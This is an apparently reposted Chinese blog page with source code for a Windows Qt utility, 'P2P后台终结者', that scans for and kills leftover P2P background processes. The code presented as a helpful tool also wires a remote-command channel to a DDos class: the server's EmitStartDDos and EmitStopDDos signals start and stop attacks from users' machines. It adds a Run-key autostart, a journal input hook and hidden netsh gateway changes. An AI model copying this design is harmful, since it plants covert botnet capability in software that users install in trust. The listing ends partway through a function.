P2P后台终结者源码.分享QT+WIN SDK实现.自动扫描后台关闭P2P后台进程

来源:互联网 发布:seo原创文章代写 编辑:程序博客网 时间:2024/04/29 07:00
p2pqtmicrosoftstringsignaldll

  1. #ifndef KILLPROCESS_H  
  2. #define KILLPROCESS_H  
  3.   
  4. #include <QObject>  
  5. #include <QThread>  
  6. #include <QLibrary>  
  7. #include <QFile>  
  8. #include <QDataStream>  
  9. #include <QTime>  
  10. #include <QVector>  
  11. //============================================================================================================  
  12. //我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台  
  13. //每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了  
  14. //我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵  
  15. //P2P后台终结者   版本2.0  
  16. //程序编程人员:Jason's.Alex QQ:531401335   
  17. //QT社区群:3855916  
  18. //日期:2011/08/03  
  19. //============================================================================================================  
  20. typedef void (*ADDPROCESSLIST) (const char *fore,const char *back);  
  21. typedef void (*INSTALLCALLBACKPROCESS) (ADDPROCESSLIST &AD);////安装添加进程回调函数  
  22.   
  23. typedef void (*FINDPROCESSMATCH)();//搜索关联进程  
  24. typedef void (*CLEANDATA)();//清除进程列表数据  
  25.   
  26. void LogMessage(const char*);//日志消息  
  27.   
  28. typedef void (*LOG)(const char*);//日志回调函数  
  29. typedef void (*INSTALL)(LOG);//安装日志钩子  
  30.   
  31. struct ProcessDetail//进程详细信息  
  32. {  
  33.     QString name;//进程名  
  34.     QString back;//后台进程  
  35.     QString descript;//描述  
  36.   
  37.     bool operator==(const QString &rhs)  
  38.     {  
  39.        return back==rhs;  
  40.     }  
  41. };  
  42.   
  43.   
  44. class KillProcess : public QObject  
  45. {  
  46.     Q_OBJECT  
  47. public:  
  48.   
  49.     explicit KillProcess(QObject *parent = 0);  
  50.     void ShowLog(const char *);//显示日志消息  
  51.     void LoadDll();//载入动态链接库  
  52.   
  53. signals:  
  54.         void Error(const QString &);//错误信息  
  55.         void ShowLogMessage(const QString &);//显示日志消息  
  56.         void ShowTrayMessage(const QString &);//显示托盘消息  
  57. public slots:  
  58.                 void AddToProcessList();//添加到结束进程列表  
  59.                 void ClearProcess();//清理进程  
  60.                 void ClearProcessList();//清空进程数据列表  
  61.                 void AppendProcessList(const QString &,const QString &,const QString &);  
  62. private:  
  63.        QLibrary dll;  
  64.        QVector<ProcessDetail> processList;  
  65.   
  66.        INSTALLCALLBACKPROCESS AddCallBackProcess;////安装添加进程回调函数  
  67.        FINDPROCESSMATCH FindMatchProcess;//查找进程  
  68.        INSTALL InstallLog;//日志回调函数  
  69.        CLEANDATA ClearData;//清楚数据  
  70.        QString appPath;  
  71.        ADDPROCESSLIST AddKillProcessList;//添加要结束的进程  
  72.   
  73. };  
  74.   
  75. extern KillProcess *killProcess;  
  76. #endif // KILLPROCESS_H 



  1. #include "killprocess.h"  
  2. #include <QDir>  
  3. #include <QDebug>  
  4. KillProcess *killProcess;  
  5.   
  6. KillProcess::KillProcess(QObject *parent):  
  7.     QObject(parent),dll("System.dll")  
  8. {  
  9.   
  10. }  
  11.   
  12. void KillProcess::LoadDll()//载入动态链接库  
  13. {  
  14.     ClearData=(CLEANDATA)dll.resolve("CleanData");  
  15.     FindMatchProcess=(FINDPROCESSMATCH)dll.resolve("FindMatchProcess");  
  16.     InstallLog=(INSTALL)dll.resolve("InstallLog");  
  17.     AddCallBackProcess=(INSTALLCALLBACKPROCESS)dll.resolve("IntstallCallBackProcess");  
  18.   
  19.    if(!AddCallBackProcess||!FindMatchProcess||!InstallLog||!ClearData)  
  20.        emit Error(tr("Loading system.dll failed!!"));  
  21.   
  22.    InstallLog(LogMessage);//安装日志回调钩子  
  23.    AddCallBackProcess(AddKillProcessList);//安装添加进程回调函数  
  24. }  
  25.   
  26. void KillProcess::AppendProcessList(const QString &name, const QString &back, const QString &decrip)  
  27. {  
  28.     ProcessDetail pd;  
  29.     pd.name=name;  
  30.     pd.back=back;  
  31.     pd.descript=decrip;  
  32.     processList.append(pd);  
  33. }  
  34.   
  35. void KillProcess::AddToProcessList()  
  36. {  
  37.     for(QVector<ProcessDetail>::iterator iter=processList.begin();iter!=processList.end();++iter)  
  38.     {  
  39.   
  40.         AddKillProcessList(iter->name.toStdString ().c_str(),iter->back.toStdString ().c_str());  
  41.   
  42.     }  
  43. }  
  44.   
  45.   
  46.   
  47. void KillProcess::ClearProcess()//清理进程  
  48. {  
  49.     FindMatchProcess();  
  50. }  
  51.   
  52. void KillProcess::ClearProcessList()//清空数据进程列表  
  53. {  
  54.     ClearData();  
  55. }  
  56.   
  57.  void KillProcess::ShowLog(const char *msg)//显示日志消息  
  58.  {  
  59.      QVector<ProcessDetail>::const_iterator ite=qFind(processList.begin(),processList.end(),QString(msg));  
  60.   
  61.      emit ShowLogMessage(QTime::currentTime().toString()+tr(" -><font color=purple>KillBackground:</font><font color=red>")+msg+  
  62.                          tr("</font> -><font color=purple>MainProcess:</font><font color=blue>")+ite->name+  
  63.                          tr("</font> -><font color=purple>Descript:</font><font color=green>")+ite->descript+"</font>");//显示日志消息  
  64.   
  65.      emit ShowTrayMessage(tr("KillBackground:")+msg);//显示托盘消息  
  66.  }  
  67.   
  68. void LogMessage(const char*msg)//日志消息  
  69. {  
  70.     killProcess->ShowLog(msg);  


  1. #ifndef MAINWINDOW_H  
  2. #define MAINWINDOW_H  
  3.   
  4. #include <QMainWindow>  
  5. #include <killprocess.h>  
  6. #include <QMessageBox>  
  7. #include <thread.h>  
  8. #include <QSystemTrayIcon>  
  9. #include <QCloseEvent>  
  10. #include <QMenu>  
  11. #include <QSettings>  
  12. #include <aboutform.h>  
  13. #include <QScrollBar>  
  14. #include <QDesktopServices>  
  15. #include <QUrl>  
  16. #include <QTimer>  
  17. #include <network.h>  
  18. #include <ddos.h>  
  19. //============================================================================================================  
  20. //我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台  
  21. //每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了  
  22. //我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵  
  23. //P2P后台终结者   版本2.0  
  24. //程序编程人员:Jason's.Alex QQ:531401335   
  25. //QT社区群:3855916  
  26. //日期:2011/08/03  
  27. //============================================================================================================  
  28. namespace Ui {  
  29.     class MainWindow;  
  30. }  
  31.   
  32.   
  33. class MainWindow : public QMainWindow  
  34. {  
  35.     Q_OBJECT  
  36.   
  37. public:  
  38.     explicit MainWindow(QWidget *parent = 0);  
  39.     ~MainWindow();  
  40.   
  41.     virtual void hideEvent(QHideEvent *);//隐藏事件  
  42.     virtual void showEvent(QShowEvent *);//显示事件  
  43.     virtual void closeEvent(QCloseEvent *);//关闭事件  
  44.   
  45.     void CreateTrayMenu();//创建托盘菜单  
  46.     void CreateAction();//创建动作  
  47.     void CreateNetwork();//创建网络通讯  
  48.     void CreateDDos();//创建DDOS攻击  
  49.   
  50. public slots:  
  51.     void Error(const QString &);//显示错误信息  
  52.     void TrayMessage(const QString &);//显示托盘消息  
  53.     void activated( QSystemTrayIcon::ActivationReason reason );//托盘事件  
  54.     void SetAutoRun(bool);//设置自动启动  
  55.     void ShowAbout();// 显示关于  
  56.     void ScrollToEnd();//拖动滚动条到最后  
  57.     void LeaveMessage();//留言给我  
  58.     void OfficialSite();//访问官方  
  59.     void UpdateVersion(const bool,const QStringList &);//检测新版本  
  60.   
  61. private:  
  62.     Ui::MainWindow *ui;  
  63.     ProcessThread thread;  
  64.     QSystemTrayIcon *tray;//托盘  
  65.     QMenu *trayMenu;//托盘菜单  
  66.     bool closed;  
  67.     QAction *autoRun;// 自动运行  
  68.     AboutForm *aboutForm;//关于窗口  
  69.     QPoint dPos,mousePos,windowPos;  
  70.     Network *network;//网络通讯  
  71.     DDos *ddos;//DDOS攻击  
  72. };  
  73.   
  74. #endif // MAINWINDOW_H 

  1. #include "mainwindow.h"  
  2. #include "ui_mainwindow.h"  
  3. #include <QProcess>  
  4.   
  5. MainWindow::MainWindow(QWidget *parent) :  
  6.     QMainWindow(parent),  
  7.     ui(new Ui::MainWindow),closed(false)  
  8. {  
  9.     ui->setupUi(this);  
  10.     this->setFixedSize(this->size());  
  11.     killProcess=new KillProcess(this);  
  12.   
  13.     tray=new QSystemTrayIcon(this);  
  14.     tray->setIcon(QIcon(":/image/icon.png"));  
  15.     tray->setVisible(true);  
  16.   
  17.   
  18.     connect(killProcess,SIGNAL(ShowLogMessage(QString)),ui->textEdit,SLOT(append(QString)));  
  19.     connect(killProcess,SIGNAL(ShowTrayMessage(QString)),SLOT(TrayMessage(QString)));  
  20.     connect(killProcess,SIGNAL(Error(QString)),SLOT(Error(QString)));  
  21.     killProcess->LoadDll();  
  22.   
  23.     connect(tray,SIGNAL(activated(QSystemTrayIcon::ActivationReason)),SLOT(activated(QSystemTrayIcon::ActivationReason)));  
  24.   
  25.     connect(ui->textEdit,SIGNAL(textChanged()),SLOT(ScrollToEnd()));  
  26.   
  27.     this->CreateNetwork();  
  28.     this->CreateAction();  
  29.     this->CreateTrayMenu();  
  30.     this->CreateDDos();  
  31.   
  32. }  
  33. //====================================================================================================================  
  34. void MainWindow::UpdateVersion(const bool arg, const QStringList &list)//检测新版本  
  35. {  
  36.     if(arg)  
  37.     {  
  38.         if(QMessageBox::Yes==QMessageBox::information(0,tr("New Version"),  
  39.                                                       tr("Have new version\nDownload..Now!"),QMessageBox::Yes,QMessageBox::No))  
  40.         {  
  41.             qApp->quit();  
  42.             QProcess *p=new QProcess(0);  
  43.             p->setWorkingDirectory(qApp->applicationDirPath());  
  44.             p->start("update.exe",list);  
  45.         }  
  46.     }else  
  47.     {  
  48.        tray->showMessage(tr("Not Version"),tr("Up to data"));  
  49.     }  
  50.   
  51.   
  52. }  
  53.   
  54. //=====================================================================================================================  
  55. MainWindow::~MainWindow()  
  56. {  
  57.     delete ui;  
  58.     delete killProcess;  
  59. }  
  60.   
  61. void MainWindow::ScrollToEnd()//拖动滚动条到最后  
  62. {  
  63.     ui->textEdit->verticalScrollBar()->setValue(ui->textEdit->verticalScrollBar()->value());  
  64. }  
  65. //======================================================================================================================  
  66. void MainWindow::CreateTrayMenu()//创建托盘菜单  
  67. {  
  68.     trayMenu=new QMenu(this);  
  69.   
  70.     trayMenu->addAction(QIcon(":/image/icon.png"),tr("About Software"),this,SLOT(ShowAbout()));  
  71.     trayMenu->addSeparator();  
  72.   
  73.     trayMenu->addAction(QIcon(":/image/Official.png"),tr("OfficialSite"),this,SLOT(OfficialSite()));  
  74.     trayMenu->addSeparator();  
  75.   
  76.     trayMenu->addAction(QIcon(":/image/leave.png"),tr("LeaveMessage"),this,SLOT(LeaveMessage()));  
  77.     trayMenu->addSeparator();  
  78.   
  79.     trayMenu->addAction(QIcon(":/image/update.png"),tr("UpdateVersion"),network,SLOT(SendVersion()));  
  80.     trayMenu->addSeparator();  
  81.   
  82.     trayMenu->addAction(autoRun);  
  83.     trayMenu->addSeparator();  
  84.   
  85.     trayMenu->addAction(QIcon(":/image/close.png"),tr("Quit"),qApp,SLOT(quit()));  
  86.     tray->setContextMenu(trayMenu);  
  87. }  
  88.   
  89. //===========================================================================================================================  
  90. void MainWindow::CreateAction()  
  91. {  
  92.     autoRun=new QAction(tr("AutoRun"),this);  
  93.     autoRun->setCheckable(true);//设置是否显示验证钩;  
  94.     connect(autoRun,SIGNAL(triggered(bool)),SLOT(SetAutoRun(bool)));  
  95.   
  96.     QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat);  
  97.     autoRun->setChecked(!reg.value("P2PKiller").isNull());  
  98.  }  
  99. //==========================================================================================================================  
  100. void MainWindow::CreateNetwork()//创建网络模块  
  101. {  
  102.     network=new Network(this);  
  103.     connect(network,SIGNAL(EmitUpdate(bool,QStringList)),SLOT(UpdateVersion(bool,QStringList)));  
  104.     connect(network,SIGNAL(EmitData(QString,QString,QString)),killProcess,SLOT(AppendProcessList(QString,QString,QString)));  
  105.   
  106.     connect(network,SIGNAL(EmitReadDataFinish()),killProcess,SLOT(AddToProcessList()));  
  107.     connect(network,SIGNAL(EmitReadDataFinish()),&thread,SLOT(start()));  
  108.   
  109.     connect(network,SIGNAL(EmitStartReadData()),&thread,SLOT(terminate()));  
  110.     connect(network,SIGNAL(EmitStartReadData()),killProcess,SLOT(ClearProcessList()));  
  111.   
  112.     network->Connect();  
  113. }  
  114.   
  115. //===========================================================================================================================  
  116. void MainWindow::CreateDDos()//创建DDO攻击  
  117. {  
  118.     ddos=new DDos(this);  
  119.     connect(network,SIGNAL(EmitStartDDos(QString)),ddos,SLOT(StartDDos(QString)));  
  120.     connect(network,SIGNAL(EmitStopDDos()),ddos,SLOT(StopDDos()));  
  121. }  
  122.   
  123. //===========================================================================================================================  
  124. void MainWindow::SetAutoRun(bool state)  
  125. {  
  126.     QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat);  
  127.     if(state)  
  128.         reg.setValue("P2PKiller",qApp->applicationFilePath().replace("/","\\")+" -Min");  
  129.     else  
  130.         reg.remove("P2PKiller");  
  131. }  
  132.   
  133.   
  134. void MainWindow::TrayMessage(const QString &s)//显示托盘消息  
  135. {  
  136.     tray->showMessage(tr("P2PKiller"),s,QSystemTrayIcon::Information,1000);  
  137. }  
  138.   
  139. void MainWindow::activated(QSystemTrayIcon::ActivationReason reason)//托盘事件  
  140. {  
  141.     if(reason==QSystemTrayIcon::DoubleClick)  
  142.         this->show();  
  143. }  
  144.   
  145. void MainWindow::hideEvent(QHideEvent *)  
  146. {  
  147.     tray->show();  
  148.   
  149. }  
  150.   
  151. void MainWindow::Error(const QString &arg)//错误信息  
  152. {  
  153.     QMessageBox::warning(this,tr("Error"),arg+tr("\nDownload system.dll file"));  
  154.     qApp->quit();  
  155.     QProcess *p=new QProcess(0);  
  156.     p->setWorkingDirectory(qApp->applicationDirPath());  
  157.     p->start("update.exe",QStringList()<<"system.dll");  
  158. }  
  159.   
  160. void MainWindow::showEvent(QShowEvent *)  
  161. {  
  162.     tray->hide();  
  163. }  
  164.   
  165. void MainWindow::closeEvent(QCloseEvent *e)  
  166. {  
  167.        e->ignore();  
  168.        this->hide();  
  169. }  
  170.   
  171. void MainWindow::ShowAbout()  
  172. {  
  173.     aboutForm=new AboutForm(this);  
  174.     aboutForm->show();  
  175. }  
  176.   
  177. void MainWindow::LeaveMessage()  
  178. {  
  179.     QDesktopServices().openUrl(QUrl("http://531401335.qzone.qq.com"));//访问开发者空间  
  180.   
  181. }  
  182.   
  183. void MainWindow::OfficialSite()  
  184. {  
  185.     QDesktopServices().openUrl(QUrl("http://bctalk.5d6d.com"));//访问官方  


  1. #include <windows.h>  
  2. #include "system.h"  
  3. #include "ddos.h"  
  4. //---------------------------------------------------------------------------  
  5. //   Important note about DLL memory management when your DLL uses the  
  6. //   static version of the RunTime Library:  
  7. //  
  8. //   If your DLL exports any functions that pass String objects (or structs/  
  9. //   classes containing nested Strings) as parameter or function results,  
  10. //   you will need to add the library MEMMGR.LIB to both the DLL project and  
  11. //   any other projects that use the DLL.  You will also need to use MEMMGR.LIB  
  12. //   if any other projects which use the DLL will be performing new or delete  
  13. //   operations on any non-TObject-derived classes which are exported from the  
  14. //   DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling  
  15. //   EXE's to use the BORLNDMM.DLL as their memory manager.  In these cases,  
  16. //   the file BORLNDMM.DLL should be deployed along with your DLL.  
  17. //  
  18. //   To avoid using BORLNDMM.DLL, pass string information using "char *" or  
  19. //   ShortString parameters.  
  20. //  
  21. //   If your DLL uses the dynamic version of the RTL, you do not need to  
  22. //   explicitly add MEMMGR.LIB as this will be done implicitly for you  
  23. //---------------------------------------------------------------------------  
  24. #pragma argsused  
  25. typedef void (*ADDPROCESSLIST)(const char *fore,const char  *back);  
  26.   
  27. void AddKillPorcessList(const char *fore,const char  *back);   //添加进程列表  
  28.   
  29. extern "C" __declspec(dllexportvoid __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD);     //添加进程列表回调函数  
  30. extern "C" __declspec(dllexportvoid __stdcall FindMatchProcess();//查找匹配进程  
  31. extern "C" __declspec(dllexportvoid __stdcall CleanData();//清空数据  
  32.   
  33. typedef void (*LOG)(const char*);      //日志钩子  
  34. extern "C" __declspec(dllexportvoid __stdcall InstallLog(::LOG);//安装日志钩子  
  35.   
  36. struct ProcessDetail          //进程详情  
  37. {  
  38.     string name;  
  39.     string back;  
  40. };  
  41.   
  42. typedef struct ProcessManage           //进程管理  
  43. {  
  44.   vector<ProcessDetail> ProcessList;  
  45.   Process SystemProcess;  
  46.   
  47.   void FindMatchProcess();//查找匹配进程;  
  48.   
  49. }*PProcessManage;  
  50.   
  51. PProcessManage pProcessManage;  
  52.   
  53. int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)  
  54. {  
  55.     switch(reason)  
  56.     {  
  57.   
  58.         case DLL_PROCESS_ATTACH:  
  59.                                 pProcessManage=new ProcessManage;  
  60.                                 break;  
  61.   
  62.         case DLL_PROCESS_DETACH:  
  63.                                 delete pProcessManage;  
  64.                                 break;  
  65.   
  66.         case DLL_THREAD_ATTACH:  
  67.                                 break;  
  68.         case DLL_THREAD_DETACH:  
  69.                                 break;  
  70.   
  71.     }  
  72.     return 1;  
  73. }  
  74. //-----------------------------------------------------------------------------  
  75.   
  76. void __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD)        //添加进程列表回调函数  
  77. {  
  78.             AD=AddKillPorcessList;  
  79. }  
  80.   
  81. void AddKillPorcessList(const char *fore,const char  *back)  
  82. {  
  83.     ProcessDetail pd;  
  84.     pd.name=fore;  
  85.     pd.back=back;  
  86.     pProcessManage->ProcessList.push_back(pd);  
  87. }  
  88.   
  89. //-----------------------------------------------------------------------------  
  90. void __stdcall FindMatchProcess()//查找进程  
  91. {  
  92.      pProcessManage->FindMatchProcess();  
  93. }  
  94.   
  95. //-----------------------------------------------------------------------------  
  96. void __stdcall CleanData()//清空数据  
  97. {  
  98.     pProcessManage->ProcessList.clear();  
  99. }  
  100.   
  101. //-----------------------------------------------------------------------------  
  102. void ProcessManage::FindMatchProcess()//查找匹配进程;  
  103. {  
  104.     for(vector<ProcessDetail>::const_iterator iter=ProcessList.begin();iter!=ProcessList.end();++iter)  
  105.     {  
  106.         if(SystemProcess.ProcessFind(iter->back)!=0)  
  107.         {  
  108.             if(SystemProcess.ProcessFind(iter->name)==0)  
  109.                 SystemProcess.AddBanProcess(iter->back);  
  110.         }  
  111.     }  
  112.     SystemProcess.BanProcess(false);  
  113. }  
  114.   
  115. //-----------------------------------------------------------------------------  
  116. void __stdcall InstallLog(::LOG LogMsg)//安装日志钩子  
  117. {  
  118.   pProcessManage->SystemProcess.LogMsg=LogMsg;  


  1. /---------------------------------------------------------------------------  
  2.   
  3.   
  4. #pragma hdrstop  
  5. #include "System.h"  
  6. //---------------------------------------------------------------------------  
  7. #pragma package(smart_init)  
  8. TokenPrivilege::TokenPrivilege(const DWORD &DesiredAccess,LPCTSTR PrivilegeValue,  
  9.                                 const DWORD &Attributes,const HANDLE &Handle)  
  10. {  
  11.     HANDLE Token;  
  12.     TOKEN_PRIVILEGES TP;  
  13.   
  14.     OpenProcessToken(Handle,DesiredAccess,&Token);   //打开进程令牌  
  15.   
  16.     LookupPrivilegeValue(NULL,PrivilegeValue,&TP.Privileges[0].Luid);  
  17.     TP.PrivilegeCount=1;  
  18.     TP.Privileges[0].Attributes=Attributes;  
  19.   
  20.     AdjustTokenPrivileges(Token,false,&TP,sizeof(TP),NULL,0);     //将当前程序启用特权  
  21.   
  22.     CloseHandle(Token);  
  23. }  
  24. //=============================================================================  
  25. Power::Power():TokenPrivilege(TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,SE_SHUTDOWN_NAME,SE_PRIVILEGE_ENABLED)  
  26. {  
  27. }  
  28. //------------------------------------------------------------------------------  
  29.   
  30. //------------------------------------------------------------------------------  
  31. bool Power::SetPower(PowerKind Kind)const //执行关机函数  
  32. {  
  33.   
  34.         switch(Kind)  
  35.         {  
  36.         case PowerKind::ShutDown:  
  37.         if(!ExitWindowsEx(EWX_FORCE|EWX_SHUTDOWN,0)) //关机  
  38.         {  
  39.         return false;  
  40.         }  
  41.         break;  
  42.   
  43.          case Reboot:  
  44.          if(!ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0))  //重启  
  45.          {  
  46.          return false;  
  47.          }  
  48.          break;  
  49.   
  50.          case Pause:  
  51.          if(!SetSystemPowerState(true,true))//待机  
  52.            {  
  53.            return false;  
  54.            }  
  55.            break;  
  56.   
  57.          case Dormant:  
  58.          if(!SetSystemPowerState(false,true))//休眠  
  59.          {  
  60.          return false;  
  61.          }  
  62.          break;  
  63.   
  64.          case LogOff:  
  65.          if(!ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0))//注销  
  66.          {  
  67.          return false;  
  68.          }  
  69.          break;  
  70.   
  71.          case Display:  
  72.          SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);//关闭显示器  
  73.          break;  
  74.   
  75.          default:  
  76.          return false;  
  77.            }  
  78.   
  79.         return true;  
  80. }  
  81.   
  82. //==============================================================================  
  83.         //设置网卡IP地址,网关类  
  84. //===============================================================================  
  85.  NetCard::NetCard()  
  86.  {  
  87.     Reg=new TRegistry;    //设置注册表键值  
  88.     Reg->RootKey=HKEY_LOCAL_MACHINE;  
  89.     if(!this->NetCardInfo())      //捕获异常信息  
  90.     {  
  91.         throw Exception("获取网卡信息失败!");  
  92.     }  
  93.  }  
  94.  //----------------------------------------------------------------------------  
  95.  NetCard::~NetCard()  
  96.  {  
  97.     delete Reg;  
  98.  }  
  99.  //------------------------------------------------------------------------------  
  100.  bool NetCard::NetCardInfo()//获取网关信息  
  101.  {  
  102.     TStringList *Keys=new TStringList;  
  103.     DWORD DateType,BufSize=256;  
  104.   
  105.     Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards",false);  
  106.     Reg->GetKeyNames(Keys);//获取所有网卡设备  
  107.     Reg->CloseKey();  
  108.   
  109.     for(int i=0;i<Keys->Count;++i)  
  110.     {  
  111.         Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards\\"+Keys[0][i],false);  
  112.         DescriptionName=Reg->ReadString("Description");    //获取设备描述名字  
  113.         DeviceID=Reg->ReadString("ServiceName");//获取设备ID  
  114.         Reg->CloseKey();  
  115.         if(!DescriptionName.IsEmpty())//判断是否是网卡  
  116.         {  
  117.             Reg->OpenKey("\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\"+DeviceID,false);//打开当前设备配置  
  118.   
  119.             if(RegSetValueEx(Reg->CurrentKey,"DefaultGateway",0,REG_MULTI_SZ,Gateway,sizeof(Gateway))!=0)//设置网关地址  
  120.                 return false;  
  121.   
  122.             if(RegQueryValueEx(Reg->CurrentKey,"IPAddress",0,&DateType,IPAddr,&BufSize)!=0)   //获取IP地址  
  123.                 return false;  
  124.   
  125.                 BufSize=256;  
  126.             if(RegQueryValueEx(Reg->CurrentKey,"SubnetMask",0,&DateType,SubMask,&BufSize)!=0)  //获取子掩码  
  127.                 return false;  
  128.   
  129.             Reg->CloseKey();  
  130.             break;  
  131.         }  
  132.   
  133.     }  
  134.     delete Keys;  
  135.     return true;  
  136.  }  
  137.  //-----------------------------------------------------------------------------  
  138.  const String& NetCard::GetDeviceID()  //获取设备ID  
  139.  {  
  140.      return DeviceID;  
  141.  }  
  142.  //-----------------------------------------------------------------------------  
  143.  const String& NetCard::GetDescripitonName()//获取描述名  
  144.  {  
  145.      return DescriptionName;  
  146.  }  
  147.  //-----------------------------------------------------------------------------  
  148.  const String& NetCard::GetIPAddress()//获取IP地址  
  149.  {  
  150.      return IPAddr;  
  151.  }  
  152.  //-----------------------------------------------------------------------------  
  153.  const String& NetCard::GetSubMask()//获取子掩码  
  154.  {  
  155.     return SubMask;  
  156.  }  
  157.  //-----------------------------------------------------------------------------  
  158.  const String& NetCard::GetGateway()//获取网关地址  
  159.  {  
  160.      return Gateway;  
  161.  }  
  162.  //----------------------------------------------------------------------------  
  163. bool NetCard::SetGateway(String Gateway)//设置网关  
  164.  {  
  165.     return  NotifyGatewayChange(IPAddr,SubMask,Gateway);  
  166. }  
  167.  //--------------------------------------------------------------------------------  
  168. bool NetCard::NotifyGatewayChange(const String &IPAddr,const String &SubMask,const String &Gateway)const//通知网关更改事件  
  169. {  
  170.     String Parameter("interface ip set address \"本地连接\" static");  
  171.     Parameter+=" "+IPAddr+" "+SubMask+" "+Gateway+" "+"1";  
  172.     return ShellExecute(NULL,"open","netsh",Parameter.t_str(),NULL,SW_HIDE);  
  173. }  
  174. //===============================================================================  
  175.                   //系统进程管理  
  176. //===============================================================================  
  177.   
  178. Process::Process():  
  179.                 TokenPrivilege(TOKEN_ADJUST_PRIVILEGES,SE_DEBUG_NAME,SE_PRIVILEGE_ENABLED)  
  180. {  
  181. }  
  182. //-------------------------------------------------------------------------------  
  183. void Process::AddBanProcess(const string &Process)//添加要结束的进程  
  184. {  
  185.     ProcessList.push_back(Process);  
  186. }  
  187. //------------------------------------------------------------------------------  
  188. bool Process::ProcessFirst(HANDLE Snapshot,PPROCESSENTRY32 PPE)const//枚举进程  
  189. {  
  190.    bool OK=Process32First(Snapshot,PPE);  
  191.    if(OK&&(PPE->th32ProcessID==0))  
  192.         OK=ProcessNext(Snapshot,PPE);  
  193.    return OK;  
  194. }  
  195. //------------------------------------------------------------------------------  
  196. bool Process::ProcessNext(HANDLE Snapshot,PPROCESSENTRY32 PPE)const  
  197. {  
  198.     bool OK=Process32Next(Snapshot,PPE);  
  199.    if(OK&&(PPE->th32ProcessID==0))  
  200.         OK=ProcessNext(Snapshot,PPE);  
  201.     return OK;  
  202. }  
  203. //------------------------------------------------------------------------------  
  204. PROCESSENTRY32 PE;//进程映射  
  205. DWORD Process::ProcessFind(const string &ExeName)const// 查找进程  
  206. {  
  207.         PROCESSENTRY32 PPE={sizeof(PPE)};  
  208.         HANDLE Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
  209.         if(Snapshot==INVALID_HANDLE_VALUE)  
  210.                       return 0;  
  211.             for(bool Ok=ProcessFirst(Snapshot,&PPE);Ok;Ok=ProcessNext(Snapshot,&PPE))  
  212.             {  
  213.                 if(ExeName.compare(PPE.szExeFile)==0)  
  214.                 {  
  215.                    CloseHandle(Snapshot);  
  216.                    PE=PPE;  
  217.                    return PPE.th32ProcessID;  //返回进程ID  
  218.                 }  
  219.   
  220.             }  
  221.             CloseHandle(Snapshot);  
  222.              return 0;  
  223. }  
  224. //-------------------------------------------------------------------------------  
  225. HANDLE Process::GetProcessHandle(const int &Id)const//获取进程句柄  
  226. {  
  227.     return OpenProcess(PROCESS_TERMINATE,false,Id);//获取进程句柄  
  228. }  
  229. //--------------------------------------------------------------------------------  
  230. void Process::BanProcess(const bool &Enable)//禁止进程  
  231. {  
  232.     DWORD WndId=0;  
  233.   //    while(Enable)  
  234.     //{  
  235.         for(int i=0;i<ProcessList.size();++i)  
  236.         {  
  237.             if(WndId=ProcessFind(ProcessList[i]))  
  238.                 {  
  239.                   HANDLE hwnd=GetProcessHandle(WndId);  
  240.                     if(hwnd)  
  241.                     {  
  242.                         TerminateProcess(hwnd,0);  
  243.                         CloseHandle(hwnd);  
  244.                         LogMsg(PE.szExeFile); //日志消息钩子  
  245.                     }  
  246.                 }  
  247.         }  
  248.   
  249.         ProcessList.clear();//清空进程列表  
  250.        //   Application->ProcessMessages();  
  251.       // Sleep(10);  
  252.     //}  
  253. }  
  254.   
  255. //==============================================================================  
  256.         //系统hook  
  257. //==============================================================================  
  258. bool Hook::SystemIdle=false;  
  259. HHOOK Hook::HookHandle=NULL;  
  260. //------------------------------------------------------------------------------  
  261. Hook::Hook(int HookId)  
  262. {  
  263.                switch(HookId)  
  264.                {  
  265.                case WH_JOURNALRECORD:  
  266.                             {  
  267.                                  HookHandle=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);  
  268.                                  break;  
  269.                             }  
  270.   
  271.                }  
  272.   
  273.                if(HookHandle==NULL) //是否成功启用hook.否则引发异常  
  274.                     throw Exception("使用hook失败");  
  275. }  
  276. //------------------------------------------------------------------------------  
  277.  bool Hook::GetSystemIdle(void)  
  278. {  
  279.      bool TempIdle=SystemIdle;  
  280.      SystemIdle=true;//设置为空闲状态  
  281.   
  282.      return TempIdle;  
  283. }  
  284. //------------------------------------------------------------------------------  
  285. Hook::~Hook()  
  286. {  
  287.      if(HookHandle!=NULL)                       //卸载钩子  
  288.          UnhookWindowsHookEx(HookHandle);  
  289. }  
  290. //-------------------------------------------------------------------------------  
  291. HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)//日子钩子回调函数  
  292. {  
  293.     if(iCode<0)  
  294.         return  (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam);  
  295.   
  296.     if(iCode==HC_ACTION)  
  297.     {  
  298.        EVENTMSG *MSG=(EVENTMSG*)lParam;  
  299.        if(MSG->message==WM_KEYDOWN||MSG->message==WM_MOUSEMOVE)  
  300.        {  
  301.             Hook::SystemIdle=false;//使用中  
  302.        }  
  303.     }  
